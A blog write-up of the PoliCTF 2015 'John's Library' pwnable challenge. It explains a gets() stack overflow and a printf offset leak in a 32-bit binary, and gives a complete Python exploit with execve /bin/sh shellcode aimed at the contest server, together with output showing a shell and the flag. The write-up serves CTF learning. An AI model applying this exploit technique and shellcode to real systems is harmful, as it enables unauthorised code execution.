morganz’s blog

a diary of an ordinary person

PoliCTF 2015 Pwnable150 John’s Library Writeup

The server (download) is a 32-bit non-stripped binary. When we connect to the server, we got three options:

1
2
3
4
5
Welcome to the jungle library mate! Try to escape!!
 
 r - read from library
 a - add element
 u - exit

Let’s see what the first two options do:

read_from_library
1
2
3
4
5
6
7
8
9
10
11
int read_from_library(int arg_0)
{
  int v2;

  printf("Insert the index of the book you want to read: ");
  fflush(stdout);
  __isoc99_scanf("%d", &v2);
  getchar();
  printf("%s", len[v2] + arg_0);
  return fflush(stdout);
}
add_element
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int add_element_to_library(int a1)
{
  int result;
  int v2;

  puts("Hey mate! Insert how long is the book title: ");
  fflush(stdout);
  __isoc99_scanf("%d", &v2);
  getchar();
  if ( len[num] + v2 > 1024 )
  {
    puts("Hey you! what are you trying to do??");
    fflush(stdout);
    exit(-1);
  }
  ++num;
  gets((len[num - 1] + a1));
  result = num;
  len[num] = len[num - 1] + 1 + v2;
  return result;
}

Inside add_element_to_library(), we can see that there is a call to gets(), which is a dangerous function. The variable ‘a1’ is the address of a buffer, which is defined in main(), so naturally we can think of buffer overflow attack. Let’s examine the binary more closely inside gdb:

add_element
1
2
3
4
5
6
7
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : Partial
gdb-peda$

The NX is disabled, so the exploitation becomes straightforward: fill in the buffer (‘a1’) with shellcode, then replace the return address of main() (since the buffer is defined in main()) with the address of the shellcode. After that, we just need to select “u - exit” to return from main(). Then our shellcode gets executed.

Now the only problem is: how to get the address of the buffer/shellcode.

Inside read_from_library(), there is a call to printf():

snippet from read_from_library
1
printf("%s", len[v2] + arg_0);

The variable arg_0 is also the address of the buffer defined in main(), and ‘len’ is a global array of integers. Here we are able to print the content located at the address of the buffer (‘arg_0’) plus an offset (‘len[v2]’). Meanwhile, the offset (‘len[v2]’) can be controlled inside add_element_to_library():

snippet from add_element_to_library
1
2
3
4
5
__isoc99_scanf("%d", &v2);
...
++num;
...
len[num] = len[num - 1] + 1 + v2;

This shows that the current offset is determined in the previous call to add_element_to_library().

With all of those info, we can perform the following steps:

  • select “a - add element” to set the offset properly
  • select “r - read from library” to leak the address based on the offset set before and get the address of the buffer
  • select “a - add element” again to set the offset properly (here I choose to reset the offset to 0 )
  • select “a - add element” to send the shellcode concatenated with repeated addresses of the buffer (we need to make this long enough to overwrite the return address of main())
  • select “u - exit” to return from main() so that our shellcode gets executed

In order to leak the desired address info, we need to set the offset correctly in the first step. The call stack will look like this when the function gets() is called:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
+--------------------+
|         ...        | (higher addresses)
+--------------------+

+--------------------+ <-- start of stack frame of main()
|   return address   | <-- address we want to overwrite
+--------------------+
|   previous ebp     |
+--------------------+
|    the buffer      |
+--------------------+
|       ...          |
+--------------------+
|    the buffer      |
+--------------------+ <-- the address of the buffer

+--------------------+ <-- start of stack frame of add_element_to_library()
| addr of the buffer | <-- parameter of add_element_to_library()
+--------------------+
|   return address   | <-- the address of the instruction after calling add_element_to_library() in main() (0x08048622)
+--------------------+
|   ebp of main()    |
+--------------------+
|       ...          |
+--------------------+
|(frame of gets()..) |
+--------------------+

Since the stack grows from higher addresses to lower addresses, the offset we need is a negative number, and it can be found easily using gdb. (I leaked ebp of main() to calculate the address of the buffer, but obviously I can use the address of the buffer directly..)

Here are the code the and the result:

(johns-library.py) download
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import zio
import struct
import time

#T = ("127.0.0.1",4444)
T = ("library.polictf.it",80)
io = zio.zio(T)

off_addr_ebp = -35

#set offset
io.read_until("exit")
io.write("a\n")
io.read_until("title:")
io.write(str(off_addr_ebp-1) + "\n")
payload = "AAAA"
io.write(payload + "\n")

#get addr
io.read_until("exit")
io.write("r\n")
io.read_until("read:")
io.write("1\n")
io.read(1) #read 1 byte here
res = io.read(4)
addr_ebp = struct.unpack("<I",res)[0]
print "\nebp:",hex(addr_ebp)

#addr of buffer
addr_buf = addr_ebp - 1037
print 'addr buf:',hex(addr_buf)

#restore num
io.read_until("exit")
io.write("a\n")
io.read_until("title:")
io.write(str(-off_addr_ebp-2) + "\n")
payload = struct.pack("<I",addr_ebp)
payload += "\x01\x86\x04\x08"
io.write(payload + "\n")

#send shellcode
io.read_until("exit")
io.write("a\n")
io.read_until("title:")
io.write("2\n")
payload = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69" + \
        "\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
payload = "\x90" * 3 + payload

#print len(payload),"bytes"
io.write(payload+struct.pack("<I",addr_buf)*320 + "\n")
io.read_until("exit")
io.write("u\n")
io.interact()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
alpha@alpha-th:~$ python johns-library.py
...
ebp: 0xff81fd98
addr buf: 0xff81f98b
 
 r - read from library
 a - add element
 u - exit
a
Hey mate! Insert how long is the book title: 
33
�����
 
 r - read from library
 a - add element
 u - exit
a
 
 r - read from library
 a - add element
 u - exit
Hey mate! Insert how long is the book title: 
2
���1�Ph//shh/bin��PS���
                       ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������
 
 r - read from library
 a - add element
 u - exit
u
id
uid=1001(ctf) gid=1001(ctf) groups=1001(ctf)
cat /home/ctf/flag
flag{John_should_read_a_real_book_on_s3cur3_pr0gr4mm1ng}

Comments